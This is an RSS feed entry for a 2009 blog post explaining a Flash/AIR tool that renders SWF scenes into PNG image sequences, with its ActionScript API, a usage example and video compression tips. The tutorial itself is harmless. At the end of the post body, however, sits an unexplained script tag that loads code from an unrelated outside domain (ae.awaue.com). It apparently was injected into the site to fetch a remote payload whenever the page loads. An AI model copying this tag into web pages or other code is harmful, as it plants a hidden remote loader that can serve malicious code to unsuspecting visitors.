<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Controul &#187; Video</title>
	<atom:link href="http://blog.controul.com/category/video/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.controul.com</link>
	<description>Elaborations on flash.</description>
	<lastBuildDate>Thu, 29 Jul 2010 09:28:05 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Producing video with flash/air: png sequence rendering from swf playback</title>
		<link>http://blog.controul.com/2009/12/producing-video-with-flashair-png-sequence-rendering-from-swf-playback/</link>
		<comments>http://blog.controul.com/2009/12/producing-video-with-flashair-png-sequence-rendering-from-swf-playback/#comments</comments>
		<pubDate>Mon, 07 Dec 2009 19:46:28 +0000</pubDate>
		<dc:creator>hristo</dc:creator>
				<category><![CDATA[Actionscript]]></category>
		<category><![CDATA[Chitchat]]></category>
		<category><![CDATA[Video]]></category>

		<guid isPermaLink="false">http://blog.controul.com/?p=352</guid>
		<description><![CDATA[Small air app for producing video from swf files. It plays through a queue of swf files and dumps a png sequence in a destination folder, optionally adding camera shake and flicker. Some guidance on compressing and muxing.]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been quite busy at school here in Barcelona. Busy in fun ways too: recently I put flash to good use in a &#8216;creative project&#8217; my mates and I had to pull through in the last couple of days before exams kicked in. We hacked together this short animation to welcome freshmen to next year&#8217;s csr classes:</p>
<object width='690' height='388'><param name='allowfullscreen' value='true' /><param name='allowscriptaccess' value='always' /><param name='movie' value='http://vimeo.com/moogaloop.swf?clip_id=7962081&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1' /><embed src='http://vimeo.com/moogaloop.swf?clip_id=7962081&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1' type='application/x-shockwave-flash' allowfullscreen='true' allowscriptaccess='always' width='690' height='388'></embed></object><br /><a href='http://vimeo.com/7962081'>View on Vimeo</a>.
<p>You have to love flash &#8211; you can pull out quite some tricks in no time. All scenes were done in flash authoring, and the swf files were rendered with camera shake and flicker to png sequences by a small air app. The non-flash part was simply to put everything in an avi container, compress it and <a title="Multiplexing, from Wikipedia" href="http://en.wikipedia.org/wiki/Multiplexing#Video_processing">mux</a> it with audio, stuff that was done with <a title="VirtualDub at SourceForge.net" href="http://sourceforge.net/projects/virtualdub/">virtualdub</a> and <a title="meGUI at SourceForge.net" href="http://sourceforge.net/projects/megui/">megui</a>.</p>
<h3>Rendering swf playback to an image sequence</h3>
<p>When working with video, I personally enjoy image sequences because they&#8217;re so easy to manage. My uncontested favourite format for image editing is png, mostly because it&#8217;s compact and lossless. In the case of dumping video frames from flash, it also has the advantage of compressing very well rasterised vector graphics.</p>
<p>The app I put together is some sort of a batch processor that you compile with the rendering &#8216;script&#8217; inlined in its code; its beyond simple but worked so well that I thought about posting it here in case someone needs to do something similar.</p>
<p>Here&#8217;s the cleaned-up api:</p>
<pre class="prettyprint">public class PNGSequenceRenderer extends Sprite
{
	/**
	 * Sets the dimensions of the input swf material.
	 * @param	width (pixels)
	 * @param	height (pixels)
	 */

	public function setInputSize ( width : Number, height : Number ) : PNGSequenceRenderer;

	/**
	 * Sets the dimensions of the outputed png sequence.
	 * @param	width (pixels)
	 * @param	height (pixels)
	 */

	public function setOutputSize ( width : uint, height : uint ) : PNGSequenceRenderer;

	/**
	 * Sets the scale mode for the output, either 'show all' or 'no border'.
	 * @param	showAll true for 'show all', false for 'no border'.
	 */

	public function setScaleMode ( showAll : Boolean ) : PNGSequenceRenderer;

	/**
	 * Sets the level of camera shake. ( e.g. 0 - disabled, 1 - moderate, 2 - heavy. )
	 * @param	factor Camera shake amount.
	 */

	public function setCameraShake ( factor : Number = 0 ) : PNGSequenceRenderer;

	/**
	 * Sets the level of flicker. ( e.g. 0 - disabled, 1 - moderate, 2 - heavy. )
	 * @param	factor Level of shutter flicker.
	 */

	public function setFlicker ( factor : Number = 0 ) : PNGSequenceRenderer;

	/**
	 * Sets the output background transparency and fill color.
	 * @param	transparency Whether to draw on a transparency-enabled BitmapData.
	 * @param	color Background color for rendering.
	 */

	public function setBackground ( transparency : Boolean = false, color : uint = 0 )
		: PNGSequenceRenderer;

	/**
	 * Enqueues a scene for rendering.
	 * @param	url The location of the movie to render.
	 * @param	cameraShakeMultiplier Local camera shake adjustment.
	 * @param	flickerMultiplier Local flicker adjustment.
	 * @param	from First frame to render.
	 * @param	to Frame upon which to end the scene early.
	 */

	public function enqueueScene ( url : String, cameraShakeMultiplier : Number = 1,
		flickerMultiplier : Number = 1, from : uint = 0, to : uint = 0xffffff )
		: PNGSequenceRenderer;

	/**
	 * Begins loading scenes and outputing frames in the specified folder.
	 * @param	outputFolder The folder where all outputed files are to be put.
	 *
	 * If no other limit is specified, each scene is rendered until a pink
	 * (solid #ff00ff) frame is reached.
	 */

	public function render ( outputFolder : String ) : void;
}</pre>
<h3>How to</h3>
<p>What you do with this is to extend your app from the Renderer class, and put together the rendering script in the constructor body, something like:</p>
<pre class="prettyprint">public class Main extends PNGSequenceRenderer
{
	public function Main () : void
	{
		setCameraShake ( 1 );
		setFlicker ( 1 );
		setInputSize ( 800, 400 );
		setOutputSize ( 853, 480 );
		enqueueScene ( 'C:\\prj\\swfs\\scene01.swf' );
		enqueueScene ( 'C:\\prj\\swfs\\scene02.swf' );
		render ( 'C:\\prj\\output\\' );
	}
}</pre>
<p>Compiling the project for the air 1.5 target will launch the adl and run your app, which will begin loading and playing your scenes one by one, and dumping the png sequence in the output folder. During the process you&#8217;ll be getting some basic feedback on the screen, mainly which scene and frame is being rendered.</p>
<p><strong>Note: </strong>Before you jump into testing it out, remember to have a pink solid fill frame (#ff00ff) at the end of each scene, as the renderer expects a frame with a pink middle pixel in order to proceed with the queue. Also, compile in release mode as the PNG encoder runs twice to three times faster without debug stuff in the bytecode.</p>
<p>Once you have the image sequences ready, you can edit them in virtually any video editing software package (if you need to), and then package everything in a video container. The latter will come out pretty voluminous, so you&#8217;ll need to compress it with a codec, such as <a title="H.264/MPEG-4 AVC, from Wikipedia" href="http://en.wikipedia.org/wiki/H.264/MPEG-4_AVC">h.264</a>. Finally, you <a title="Multiplexing, from Wikipedia" href="http://en.wikipedia.org/wiki/Multiplexing#Video_processing">mux</a> it with the audio and you are ready for distribution.</p>
<p>For the windows crowd, <a title="VirtualDub at SourceForge.net" href="http://sourceforge.net/projects/virtualdub/">virtualdub</a> is a great piece of software for playing with video, and also pulls off the packaging of the sequences into a container with a couple of mouse clicks. Also, check out <a title="meGUI at SourceForge.net" href="http://sourceforge.net/projects/megui/">megui</a> for the video and audio compression and <a title="Multiplexing, from Wikipedia" href="http://en.wikipedia.org/wiki/Multiplexing#Video_processing">muxing</a>, it makes it all real easy.</p>
<h3>Source</h3>
<p><a title="PNGSequenceRenderer.as" href="http://blog.controul.com/as3/PNGSequenceRenderer.as">PNGSequenceRenderer.as</a></p>
<p>The code requires the <a title="PNGEncoder from as3corelib" href="http://code.google.com/p/as3corelib/source/browse/trunk/src/com/adobe/images/PNGEncoder.as">PNGEncoder</a> class from <a title="as3corelib at Google Code" href="http://code.google.com/p/as3corelib/">as3corelib</a>, as well the standard normal output <a title="ParkMiller.as" href="http://blog.controul.com/as3/ParkMiller.as">Park-Miller prng</a> class (described <a title="Random numbers: standard normal distribution in flash/as3 at Controul" href="http://blog.controul.com/2009/04/standard-normal-distribution-in-as3/">here</a> and used for the flicker and camera shake effects).<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.controul.com/2009/12/producing-video-with-flashair-png-sequence-rendering-from-swf-playback/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
